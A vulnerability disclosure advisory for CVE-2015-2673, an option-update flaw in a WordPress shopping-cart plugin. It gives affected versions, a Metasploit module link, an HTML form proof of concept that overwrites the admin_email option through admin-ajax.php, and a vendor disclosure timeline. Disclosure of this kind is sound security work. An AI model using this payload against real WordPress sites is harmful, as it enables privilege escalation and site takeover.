Due to a lack of validation in the ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in /inc/admin/admin_ajax_functions.php, it is possible to update any WordPress option as an authenticated non-admin user, which can in turn lead to privilege escalation and remote code execution.

CVE-ID

CVE-2015-2673

WPVDB-ID

7808

Versions Affected

All versions from 1.1.30 to 3.0.20

Metasploit Module

http://www.rapid7.com/db/modules/auxiliary/admin/http/wp_easycart_privilege_escalation

Proof of Concept

Set the option_name and option_value fields in the below markup to the option and value you wish to update. For a full list of possible options, see the official Option Reference page.

<form action="http://wordpress_installation_path_here/wp-admin/admin-ajax.php?action=ec_ajax_update_option" method="post">
    <input type="hidden" name="option_name" value="admin_email" />
    <input type="hidden" name="option_value" value="newaddress@somedomain.com" />
    <button type="submit">Submit</button>
</form>

Disclosure Timeline

  • 2015-02-22: Discovered vulnerability and contacted vendor to disclose
  • 2015-02-23: Acknowledgement from vendor, ETA of 24-48 hours for patch
  • 2015-02-23: Contacted vendor again to disclose same vulnerability in another function (ec_ajax_clear_all_taxrates)
  • 2015-02-24: Vendor confirmed issues have been patched and is releasing update shortly
  • 2015-02-25: Version 3.0.20 released by vendor
  • 2015-02-25: Contacted vendor again to let them know the patch did not resolve the issue and it is still expoloitable
  • 2015-02-25: Vendor released new update to resolve issues
  • 2015-02-25: CVE-ID requested
  • 2015-02-26: Public disclosure